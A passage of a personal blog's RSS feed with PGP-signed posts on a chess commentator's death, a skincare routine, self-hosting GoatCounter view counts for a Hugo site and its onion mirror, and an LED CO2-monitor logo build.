    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    +
    + + +]]>
    +
    + + Danya + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/danya/ + Tue, 21 Oct 2025 08:41:58 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/danya/ + A sad note about someone I knew in the online world. + Daniel Naroditsky has passed away. +I’ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. +I like Fabi a lot, but my all-time favorite is Hikaru. +Danya was my favorite commentator. +Someone who was so fun to watch explaining complex positions. +I think he was indeed, if not the best, one of the best at it.

    +

    The occasion is grim. +However, let’s remember the immense pressure he was under. +Let’s remember how he was accused of cheating by Kramnik many, many times. +By a former world champion. +Someone who has accused many and has ruined their lives for no reason. +The likes of Hikaru!

    +

    The problem is that Hikaru kind of went out of his way and cast doubt on Hans in the past. +I don’t know how to relate to any of these now. +I do think this is some stupid, sad consequence that these baseless accusations have. +All players have their exceptionally good days, and many many bad days. +These accusations make no sense.

    +

    I do think Danya went under so much pressure from these allegations, though. +I don’t know if he ever cheated or not, but like, what’s the point now? +He is gone. +He’ll never be back.

    +

    I don’t know what the cause was, but I hope he didn’t take his own life. +I don’t know how the world will ever forgive FIDE or Kramnik for this. +This bullying in plain sight is just brutal.

    +

    Rest in peace, Danya. +I don’t think the community ever forgets your amazing commentaries, and what a vibrant and nice character you were.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
    +jSpazRAAkvfyfZFtYRnSapnmBsWF+f6Sj42Cy5T5PFq6C+DdQdOq1VZjGComKjXv
    +YqD4dkiBNsFXehp/DLUXxh+jvme1icBas5tZJooJX+ykhlDflRRheyz3k/3fpVV2
    +fo48rh5vV3cn1zDUZA2+XJ6I4FMFtUBCTVwtEVTCFNeut2CJzvUnCY3ocQDtBC2O
    +u6PH0hwDYvarj4RFEadIq2+vfN9mSpgTmmoTm7rmKPtKXcZ8DYwS+7tS8RZnYMX9
    +BpaFLH07aYgusamoSS51m6xCL1hSX3tq709bBCJT8/p7Mva/LmwWo3aUH6PqFCY2
    +eTnhxoMGldwPp4PKq3bGt6KrI2zN+P4dTq7LWUdmrlHsxyLGaVhymG4XdrWYxG4c
    +9JhD3FFuNX6u3TMekt9I6BZMmNHX6RLl2Nka/ohXV+1HyH/1flk/47szJXGZ6Gg+
    +NEWWr1rkFZZWju2cVzjprquVbLbRlBuTiBvF3qSaPjhN6VH/XBFkXr8sv4/kSq6B
    +Gn8TtHsqrljhID2OBIv21R5SvtqA61pHzdC47Ie1mzvF4WupJjAA0ekPEBoRgc7X
    +xc7JMmK+AHfIFgEwQUKfgFQ0w89qEUKZve5ThyXjok/9EnvygseomqwGV30DN0S8
    +zVuQEy3O7tkGShRjgnS+T4QddXNk6ciGzEisIIxyFEzJ6P6KSr4=
    +=BEoA
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/danya.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/danya.md.asc
    +gpg --verify danya.md.asc danya.md
    +  
    +
    + + +]]>
    +
    + + Skin routine + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/skin_routine/ + Mon, 20 Oct 2025 18:47:04 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/skin_routine/ + My skin routine! + I don’t know how to answer the “why?” or “whyyyyy?” or even “why the f***?” I have a skin routine. +Last year, after I came to Germany, I asked a female friend about how to do skin care. +She touched my face and said, “Knock on wood, you have good skin!”. +So… idk why I decided to take extra care of my skin, but I did!

    +

    Generally speaking, things like this make me feel good about myself. +Like I’m doing something positive while not being tortured! +It’s always fun to rub cream on your face or gently massage it. +Even cleaning the face skin feels refreshing. +Everything also smells nice!

    +

    Oh… and yeah, idk why I’m not good at excercising, but I really like to do things like this! +Weird. +I should definitely start going to the gym and working out. +It is needed for me.

    +

    So… I decided to watch a few Youtube videos, and a guide about skin care for men. +My routine is super simple! +I have a face cleanser that I use first and wash my face with it. +It always feels refreshing and nice to use it! +I initially bought the CeraVe cleaner, but switched to “Jack Black Pure Clean Daily Facial Cleanser” after that one ended. +The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. +You don’t need to use the cleanser in the morning, but you should definitely use it at night. +It’s ok to wash your face with water in the morning.

    +

    The next step for me is applying the toner. +I use “NIVEA Derma Skin Clear Toner”. +It smells really nice and is quite refreshing to apply to the skin! +The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. +I gently rub it and let it dry; no rinsing is required here.

    +

    After this, I apply an exfoliant to exfoliate my skin. +I’ve been using “Paula’s Choice Skin Perfecting 2% BHA Liquid Exfoliant” so far, but this time I got “BULLDOG Original Exfoliating Face Scrub for Purer Skin”. +Haven’t used it yet, but Paula’s choice one is definitely good. +The thing with it is that you don’t have to massage it; it’s not physical; it’s an acid. +I prefer the scrubby ones, but I think these are better for your skin. +I’ll see how I like the new one, and if I prefer it or not. +No rinsing is required here either.

    +

    I then apply my eye cream, which is also from CeraVe. +Haven’t really seen much of a difference under my eyes, but it is supposed to help. +I don’t know! It feels good to apply the eye cream regardless.

    +

    The next step for me is the best one! +Moisturiser. +Yayy!!! +It actually feels weird to use a moisturiser since I’ve watched Mortuary Assisant’s gameplay, and the last step there for embalming the body is applying moisturiser. +Feels weird. +The one I use is water-based, hence perfect for men. +I use “Neutrogena Hydro Boost Aqua Gel Moisturiser”. +As a man, if you use oil-based products, you’ll get acne. +So don’t.

    +

    I learned to use pads for applying some of these stuff, it feels cooler when applying the things to your face, and it specifically feels good when you gently tap your face with a cotton pad! ^^

    +

    And… last but not least is applying sun screen. +Nothing special here. +I just make sure to use SPF 50+ sunscreen for better protection.

    +

    Even if it does nothing, it still makes me feel good about myself.

    +

    The whole routine does not take more than 10 min, but gives me an energy boost and a lot of good vibes both at night and in the morning!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSpuHQ//XvJ3YkPuPbDbaBf9PcLKftYmTRA2WWn14l1ZnLAav0MeEPVlwENAMQ5W
    +hwAwfw1yF1KxMwLcskXYTpghSfIHegDjaXJqWctBQFJ8sdCUJNQyk+LTcJ1EXmED
    +HhZrZJw8UsFcgyLs56pbBsIjjFMI4PbFWPxLgPu+tEpgIY8fSXzIb/gsUb/K3vZb
    +JsDUyLjHwsoCn9oQFp/hE54i3LjuWtPipnSlxmWUx7AhtZUVICCQJP3/KelhXQdi
    +2fPmTsVNIzRtCxjnwII6KZtqKtj1mEaIFmmykKIsRpyNIRvNjDFkCxor+NAYKJmC
    +veUzhll/LpNDAnrMAZ8ykEyhInlIHFtsH8PKiWDUhhrP4eggLmnBBFYVHrZ36BU9
    +48pn5odcK1Pz37rHwQKqm8RgL5PC09s2XWo6BJZGUwHjMDq8Kxtswp5JrRsAlmmi
    +8yk4/W4ASJfrE5ns+PSC24ogyNx/tu/2NiT5IlmpSilr5CGN9HhbfvXERM3OGHwF
    +MeTRc61McdgHDHvg0V1PdE4Pe/wLZgzKHu/H+1E04P1uVHj102RXV7HFfYYDv59b
    +suCSlTj/j2dNZuwGaw8wG2U17nGng9XkCJ1J2xXKKUb2gqIpOHVPF3yRGBnZwvpX
    +1bPgM8l3ItO6T55D4Ala2glHtQnhJRmi9GcdI47GpNoc2PWWKrA=
    +=dBAx
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/skin_routine.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/skin_routine.md.asc
    +gpg --verify skin_routine.md.asc skin_routine.md
    +  
    +
    + + +]]>
    +
    + + A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + Sat, 18 Oct 2025 10:45:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/papermod-views-debugging-story/ + I tried to add a simple &lsquo;views&rsquo; counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix. + I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.

    +

    The thing is, I don’t think the counter even works correctly. +Or maybe I’m undermining my blog popularity! +But regardless, it was a small stiching task that I did on this lovely Friday evening. +The day before my next term of German class starts. +The day before playing deadface CTF that I’ve been counting days for.

    + +

    First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span id="busuanzi_container_site_pv">
    +    Site views: <span id="busuanzi_value_site_pv">—</span>
    +  </span>
    +  <span aria-hidden="true">·</span>
    +  <span id="busuanzi_container_site_uv">
    +    Visitors: <span id="busuanzi_value_site_uv">—</span>
    +  </span>
    +</div>
    +

    So far, so good. The labels showed up. The numbers, though? Nothing. Just an em dash. I shrugged—maybe it was a caching thing.

    +

    The first round of checks

    +

    I added the script site‑wide in layouts/partials/extend_head.html:

    +
    <script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
    +

    Refreshed. Still blank.

    +

    DevTools time. Network tab: the script does load:

    +
      +
    • Request URL: https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js
    • +
    • Request Method: GET
    • +
    • Status Code: 304 Not Modified
    • +
    • Referrer Policy: strict-origin-when-cross-origin
    • +
    • User-Agent: a normal Chromium build (nothing exotic)
    • +
    +

    No red flags. Just a perfectly normal 304.

    +

    Maybe my IDs were wrong? Busuanzi has a couple of flavors: busuanzi_value_* (with container wrappers) or shorthand like busuanzi_site_pv. I tried both, carefully, one at a time. Still… .

    +

    The odd message

    +

    Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:

    +
    +

    “域名过长,已被禁用 views”

    +

    That’s “domain name too long, disabled.” Wait, what?

    +

    I checked my hostname: blog.alipourimjourneys.ir. I counted: 27 characters. Busuanzi’s limit? 22. Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.

    +

    Two ways out

    +

    At this point I had two clean options:

    +
      +
    1. Keep Busuanzi and move the site to the apex domain (short enough).
    2. +
    3. Keep my beloved blog. subdomain and swap in Vercount, a Busuanzi‑style drop‑in without the 22‑char limit.
    4. +
    +

    I liked the subdomain (habit, mostly), so I tried Vercount.

    +

    The swap (five-minute fix)

    +

    I removed the Busuanzi script and added Vercount instead:

    +
    <!-- extend_head.html -->
    +<script defer src="https://events.vercount.one/js"></script>
    +

    I kept the same tidy footer row, but switched the IDs to Vercount’s:

    +
    <div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
    +  <a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
    +     class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
    +    { partial "svg.html" (dict "name" "rss") }
    +    <span>RSS</span>
    +  </a>
    +
    +  <span aria-hidden="true">·</span>
    +
    +  <span>Site views: <span id="vercount_value_site_pv">—</span></span>
    +  <span aria-hidden="true">·</span>
    +  <span>Visitors: <span id="vercount_value_site_uv">—</span></span>
    +</div>
    +

    For per‑post counts (in the post meta), I added:

    +
    <span id="vercount_value_page_pv">—</span> views
    +

    Deploy. Refresh. Numbers.

    +

    But if you want to stay with Busuanzi…

    +

    If your apex domain is short enough, pointing the site there works fine. The gist:

    +
      +
    • +

      Set baseURL in Hugo to the apex:

      +
      baseURL = "https://alipourimjourneys.ir/"
      +
    • +
    • +

      Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).

      +
    • +
    • +

      Keep your Busuanzi spans as you had them; once the host fits the limit, they’ll populate.

      +
    • +
    +

    Post‑mortem checklist (a.k.a. things I learned)

    +
      +
    • If the script loads but you get blanks, it’s not always IDs or caching. Sometimes it’s a service rule.
    • +
    • Busuanzi refuses long hostnames (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
    • +
    • Don’t mix providers on the same page. Load exactly one script (Busuanzi or Vercount).
    • +
    • CSP and blockers matter. If you run a strict Content‑Security‑Policy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
    • +
    +

    Happy ending

    +

    Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.

    +

    If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution you’ll feel weirdly proud of.

    +

    Final notes

    +

    Yea… I just felt this feature was missing, and it’s good to have it there. +I hope I stop adding things to the blog, and just keep writing in it. +I’ve spent too much time on it, and it feels like wasted time.

    +
    +

    Change of plans: Self‑hosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)

    +

    This is the self‑host part I ended up with: Docker for GoatCounter, Cloudflare (orange‑cloud) in front, Nginx on the server as reverse proxy, plus my .onion mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.

    +
    +

    1) Clean up old counters (optional, once)

    +
    # From your Hugo site root
    +grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
    +

    Remove any matching <script> and leftover *_value_* spans you no longer want.

    +
    +

    2) Run GoatCounter with Docker Compose

    +

    Minimal docker-compose.yml in ~/goatcounter:

    +
    services:
    +  goatcounter:
    +    image: arp242/goatcounter:2.6
    +    container_name: goatcounter
    +    ports:
    +      - "127.0.0.1:8081:8080"   # bind only to localhost; nginx will proxy
    +    volumes:
    +      - goatcounter-data:/home/goatcounter/goatcounter-data
    +    restart: unless-stopped
    +
    +volumes:
    +  goatcounter-data: {}
    +

    Start:

    +
    docker compose pull && docker compose up -d
    +

    Initialize the site (replace email if needed):

    +
    docker compose exec goatcounter   goatcounter db create site   -vhost=statsblog.alipourimjourneys.ir   -user.email=iman.alip2001@gmail.com
    +
    +

    If you ever see “no site at this domain” on localhost: use the exact vhost above.

    +
    +

    3) Cloudflare + Origin certificate (CF → origin TLS)

    +
      +
    • DNS: statsblog.alipourimjourneys.ir → server IP (proxied/orange).
    • +
    • SSL/TLS mode: Full (strict).
    • +
    • Issue a Cloudflare Origin Certificate for statsblog.alipourimjourneys.ir and save on the server:
    • +
    +
    sudo mkdir -p /etc/ssl/cloudflare
    +sudo nano /etc/ssl/cloudflare/origin.crt   # paste PEM
    +sudo nano /etc/ssl/cloudflare/origin.key   # paste key
    +sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
    +sudo chmod 644 /etc/ssl/cloudflare/origin.crt
    +sudo chmod 600 /etc/ssl/cloudflare/origin.key
    +

    +

    4) Nginx vhost for the stats subdomain

    +
    # /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
    +server {
    +  listen 80;
    +  server_name statsblog.alipourimjourneys.ir;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  listen 443 ssl http2;
    +  server_name statsblog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/ssl/cloudflare/origin.crt;
    +  ssl_certificate_key /etc/ssl/cloudflare/origin.key;
    +
    +  # Proxy to the container on localhost
    +  proxy_set_header Host              $host;
    +  proxy_set_header X-Real-IP         $remote_addr;
    +  proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto $scheme;
    +
    +  location / { proxy_pass http://127.0.0.1:8081; }
    +}
    +

    Enable & reload:

    +
    sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +

    +

    5) Hugo integration (clearnet + onion, singular/plural + “0 views”)

    +

    Self‑host count.js so the onion mirror never fetches a third‑party script:

    +
      +
    • Save the official count.js as static/js/count.js in your Hugo repo.
    • +
    +

    Then add this to layouts/partials/extend_head.html (loader + helper):

    +
    <!-- Loader: choose endpoint based on hostname -->
    +<script>
    +(function () {
    +  var ONION = /\.onion$/i.test(location.hostname);
    +  window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
    +  var s = document.createElement('script');
    +  s.async = true; s.src = '/js/count.js';
    +  document.head.appendChild(s);
    +})();
    +</script>
    +
    +<!-- Helper: inline meta counts (post pages + lists) and totals -->
    +<script>
    +(function () {
    +  const ONION = /\.onion$/i.test(location.hostname);
    +  const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
    +  const SING='view', PLUR='views';
    +  const nf = new Intl.NumberFormat();
    +
    +  function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
    +  function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
    +  async function fetchCount(path){
    +    try {
    +      const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
    +      if (r.status === 404) return 0;
    +      if (!r.ok) throw 0;
    +      const j = await r.json();
    +      const n = Number(String(j.count).replace(/,/g,''));
    +      return Number.isFinite(n) ? n : 0;
    +    } catch { return null; }
    +  }
    +  const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
    +
    +  ready(async function () {
    +    // A) Single post: add to existing meta row + small bottom
    +    const post = document.querySelector('.post-single');
    +    if (post) {
    +      const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
    +      const path = gcPath();
    +      const n = await fetchCount(path);
    +      if (meta) {
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        span.textContent = label(n ?? 0);
    +      }
    +      const after = post.querySelector('.post-content') || post;
    +      let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
    +      bottom.textContent = label(n ?? 0);
    +    }
    +
    +    // B) Lists (/posts, home, sections): show “0 views” instead of hiding
    +    const cards = document.querySelectorAll('article.post-entry');
    +    await Promise.all(Array.from(cards).map(async (card) => {
    +      const meta = card.querySelector('.entry-footer, .post-meta');
    +      const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
    +      if (!meta || !link) return;
    +      try {
    +        const u = new URL(link.getAttribute('href'), location.origin);
    +        if (u.origin !== location.origin) return;
    +        let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
    +        const n = await fetchCount(u.pathname);
    +        span.textContent = label(n ?? 0);
    +      } catch {}
    +    }));
    +
    +    // C) Site totals (optional placeholders)
    +    const pvEl = document.getElementById('vercount_value_site_pv');
    +    if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
    +  });
    +})();
    +</script>
    +

    Style so meta items stay inline with middle dots (PaperMod‑like). Put this in assets/css/extended/goatcounter.css:

    +
    .post-single .post-header .post-meta,
    +.post-single .post-header .entry-meta,
    +.post-entry .entry-footer,
    +.post-entry .post-meta {
    +  display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
    +}
    +.post-single .post-header .post-meta > *,
    +.post-single .post-header .entry-meta > *,
    +.post-entry .entry-footer > *,
    +.post-entry .post-meta > * {
    +  display:inline-flex; align-items:center; white-space:nowrap;
    +}
    +.post-single .post-header .post-meta > * + *::before,
    +.post-single .post-header .entry-meta > * + *::before,
    +.post-entry .entry-footer > * + *::before,
    +.post-entry .post-meta > * + *::before {
    +  content:"·"; margin:0 .5rem; opacity:.6;
    +}
    +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
    +

    +

    6) Count Tor (.onion) visits into the same site

    +

    In the .onion server block, proxy GoatCounter endpoints to the same site by forcing the Host header:

    +
    # inside: server { ... } for fjthpp2h3mj2r....onion
    +
    +location = /count {
    +  proxy_pass http://127.0.0.1:8081/count;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http; # onion is http
    +}
    +
    +location /counter/ {
    +  proxy_pass http://127.0.0.1:8081/counter/;
    +  proxy_set_header Host statsblog.alipourimjourneys.ir;
    +  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +  proxy_set_header X-Forwarded-Proto http;
    +  add_header Cache-Control "no-store";
    +  proxy_no_cache 1; proxy_cache_bypass 1;
    +}
    +

    Because the loader above sets window.goatcounter.endpoint to /count on .onion, both hits and reads stay on the onion origin and are tallied into the same GoatCounter site.

    +
    +

    Note on DNT/Tor: Tor Browser sends DNT: 1. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.

    +
    +

    7) Troubleshooting quick notes

    +
      +
    • 400 “no site at this domain” → create the site with -vhost=statsblog.alipourimjourneys.ir or fix your proxy Host header.
    • +
    • Counts don’t change on onion → verify Tor path via torsocks, watch logs: +
      docker compose logs -f goatcounter
      +# look for “ignored: bot” (curl UA), or DNT being respected
      +
    • +
    • DevTools sanity → on clearnet you should see https://statsblog…/count and …/counter/*.json; on onion you should see /count and /counter/*.json (same‑origin).
    • +
    +

    That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.

    +

    Honestly, self-hosting GoatCounter wasn’t as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it’s done and dusted, and I’m a happy puppy! :D

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSolRg//SwN9nMf9/Wgkr5h+dQowZMCHXXcKWgO8J08ITVDN1+weNNGANFrz63SQ
    +DajHGeSogYW1+AAxJaAeQ7hLdOX9foV5pT+kWANIjRBXnFyW+WR7kt6tmN2rcSH8
    +z4GKxqE3kdd3kCRhqT0pLiwnurqLgdCK+YldftO6GB8WP4oNDqOwHvoIE6o0ekdH
    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + +]]>
    +
    + + INET Logo That Breathes — From CAD to LEDs to a Calm Little Server + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + Fri, 17 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + <blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> + +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

